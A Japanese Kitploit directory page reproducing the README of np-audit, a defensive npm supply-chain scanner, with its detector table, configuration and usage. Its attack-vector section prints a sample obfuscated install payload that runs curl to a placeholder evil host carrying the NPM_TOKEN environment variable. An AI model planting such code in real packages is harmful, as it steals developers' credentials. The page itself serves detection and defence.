Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
np-audit — npm パッケージ向けの静的セキュリティ解析。インストール前に難読化コード、悪意のあるパターン、既知の脆弱性を検出します。 | Kitploit
ツール/GitHubGitHub/koblers/np-audit
静的分析脆弱性スキャナーコード分析マルウェア分析シークレット検出サプライチェーンセキュリティ
GitHubkoblers/np-audit

np-audit

npm パッケージ向けの静的セキュリティ解析。インストール前に難読化コード、悪意のあるパターン、既知の脆弱性を検出します。

リポジトリを見る
752ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — npm パッケージ監査ツール

npm パッケージの静的セキュリティ解析 — 難読化されたライフサイクルスクリプト、既知の脆弱性、悪意のあるパターンを実行前に検出します。npm install と npm ci のドロップイン代替品です。

依存関係ゼロ。 純粋な Node.js 組み込みのみ。配信時 < 100 kB。

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # scan all deps
npa install                  # audit then install
alias npm='npa'              # use as drop-in replacement

マーシャラー

検出はモジュール式マーシャラーに分割されています — 各マーシャラーは単一の攻撃シグナルを検出します:

マーシャラー検出内容スコア
eval/dynamic-exec文字列を伴う eval()、new Function()、間接 eval、vm.*、setTimeout8
obfuscator.io_0x 変数命名パターン(obfuscator.io の出力)9–80
high-entropy-stringシャノンエントロピーが高い長い文字列または連結チェーン6
hex-escape-density高密度の \xNN および \uXXXX エスケープシーケンス5–50
fromCharCode多数の引数を持つ String.fromCharCode、大きな10進数文字コード配列7
encoded-decodeBase64/hex デコード(atob、Buffer.from)。任意で eval と組み合わせ3–8
child-processrequire('child_process')、exec、spawn、fork、worker_threads5
hex-array多数の 0x 16進リテラル値7–60
process-envprocess.env アクセス(認証情報の外部流出シグナル)3
network-callrequire('https')、fetch()、dns、net、tls4
filesystem-manipulationfs.writeFile、chmod、symlink(バックドアの永続化)3–4
runtime-download外部ランタイム(Bun、Deno)をダウンロードして実行9–50
vscode-autorunrunOn: folderOpen を使用した VS Code タスク(自動実行)30
known-vulnerability

スコアは深刻度に応じて変動します — 難読化インジケーターの数が多いほど高いスコアになります。最終的な判定は、すべてのマーシャラーの中での最高スコアに基づきます。

カスタムマーシャラーの作成方法については CONTRIBUTING.md を参照してください。


脆弱性スキャン(CVE)

スキャンされたすべてのパッケージは、コード解析に加えて既知の脆弱性データベースと照合されます。

デフォルト:OSV.dev(セットアップ不要)

すぐに動作します — 無料の OSV.dev API に問い合わせて、既知の脆弱性と悪意のあるパッケージの勧告を取得します。

オプション:Snyk API(よりリッチなデータ)

root@kitploit:~
# Environment variable
export SNYK_API_TOKEN=your-token-here

# Or via Snyk CLI
snyk auth

トークンの解決順序:SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

重大度スコア判定
悪意のあるパッケージ80DANGER
10以上の脆弱性6WARN
5〜9の脆弱性5WARN
1〜4の脆弱性4WARN

悪意のない CVE は警告を生成しますが、インストールをブロックすることはありません。確認済みの悪意のあるパッケージのみが DANGER をトリガーします。


使用方法

コマンド

コマンドエイリアス説明
npa install [package]npa i監査後に npm install を実行
npa ci—監査後に npm ci を実行
npa scan [package]npa sスキャンのみ実行、インストールなし
npa config getnpa c get現在の設定を表示
npa config set <key> <value>npa c set設定値を更新
npa alias --install—シェルエイリアスをインストール
npa alias --uninstall—シェルエイリアスを削除

認識されないコマンドは npm に転送されます(例:npa run test、npa publish)。

フラグ

フラグエイリアス対応コマンド説明
--review-rinstall, ci対話モード — 許可するスクリプトを選択
--json—install, ci, scan機械可読な JSON 出力
--no-dev—install, ci, scandevDependencies をスキップ
--verbose—allフェッチの進行状況と追加の詳細を表示
--version-v—バージョンを表示して終了
--help-h—ヘルプを表示して終了

対話型 --review モード

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ deny ] [email protected]       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/[email protected]     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

設定

設定は ~/.npmauditor.json(グローバル)に保存され、プロジェクトごとに .npmauditor.json で上書きできます。

root@kitploit:~
npa config get                              # Show current config
npa config set blockScore 6                 # Block at score 6+
npa config set skipPackages '["esbuild"]'   # Trust specific packages
npa config set skipScopes '["@types"]'      # Trust entire scopes

設定キーの一覧

キーデフォルト説明
blockScore7DANGER のスコアしきい値(終了コード 1)
warnScore4WARN のスコアしきい値(終了コード 0)
registryhttps://registry.npmjs.orgnpm レジストリの URL
timeout30000HTTP リクエストのタイムアウト(ms)
parallelFetches5同時ダウンロード数
skipScopes[]スキップする @scope プレフィックス
skipPackages[]スキップするパッケージ名
silentfalse問題が見つからない場合に出力を抑制
scanSelftrue自身のプロジェクトのライフサイクルスクリプトをスキャン
maxTarballSize50MB展開後の tarball の最大サイズ(爆弾対策)
checkVulnerabilitiestrueパッケージを CVE データベースと照合
deepResolvefalse完全な推移的依存関係ツリーを解決
disabledMarshallers[]スキャン中にスキップするマーシャラー名

マーシャラーの無効化

特定の検出チェックを無効にするには、その名前を disabledMarshallers に追加します:

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

利用可能なすべてのマーシャラー名と現在のステータスを確認するには:

root@kitploit:~
npa config marshallers

これは、あるマーシャラーがワークフローにとって誤検知を生成する場合に役立ちます。無効化されたマーシャラーは、静的コード解析とパッケージレベルのチェックの両方で完全にスキップされます。


シェルエイリアス

npa を透過的な npm の代替として使用します:

root@kitploit:~
npa alias --install     # adds: alias npm='npa'
source ~/.zshrc         # reload shell

これで npm install、npm ci は自動的にスキャンされます。その他の npm コマンド(npm run、npm test、npm publish)は変更されずにそのまま渡されます。

root@kitploit:~
npa alias --uninstall   # remove the alias

仕組み

  1. パース package-lock.json(v1/v2/v3)、または package.json から解決
  2. フェッチ レジストリから tarball を取得(または node_modules から読み取り)
  3. パース ライフサイクルコマンド — &&/||/;/| を分割し、node -e、sh -c、シェルスクリプトを処理
  4. 走査 各エントリから require()/import グラフを走査(循環検出、50 ファイル / 5 MB 上限)
  5. 分析 すべてのマーシャラーで分析 — 静的コードチェック + CVE データベースクエリ
  6. スコアリング して分類:DANGER / WARN / OK
  7. レポート またはインストールを続行

攻撃ベクトル

サプライチェーン攻撃は npm のライフサイクルスクリプトを悪用します。npm install を実行すると、preinstall/install/postinstall スクリプトが自動的に実行されます。攻撃者は難読化の背後にペイロードを隠します:

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

実際に発生したインシデント:

  • event-stream (2018) — Bitcoin ウォレットの認証情報の窃取
  • ua-parser-js (2021) — 暗号通貨マイナー + 情報窃取
  • node-ipc (2022) — 地域を標的としたワイパーマルウェア
  • colors / faker (2022) — メンテナーによるサボタージュ
  • SAP CAP / cds-dbs (2025) — エンタープライズ開発者を標的とした侵害されたパッケージ

npa はスクリプトを決して実行しません。スクリプトをダウンロードして静的に解析します。


終了コード

コード意味
0すべてクリーン、または警告のみ
11 つ以上のパッケージがブロックされた

ライセンス

MIT

ツールをダウンロード
Snyk API または OSV.dev による既知の CVE
4–6 (WARN)、80 (悪意のある)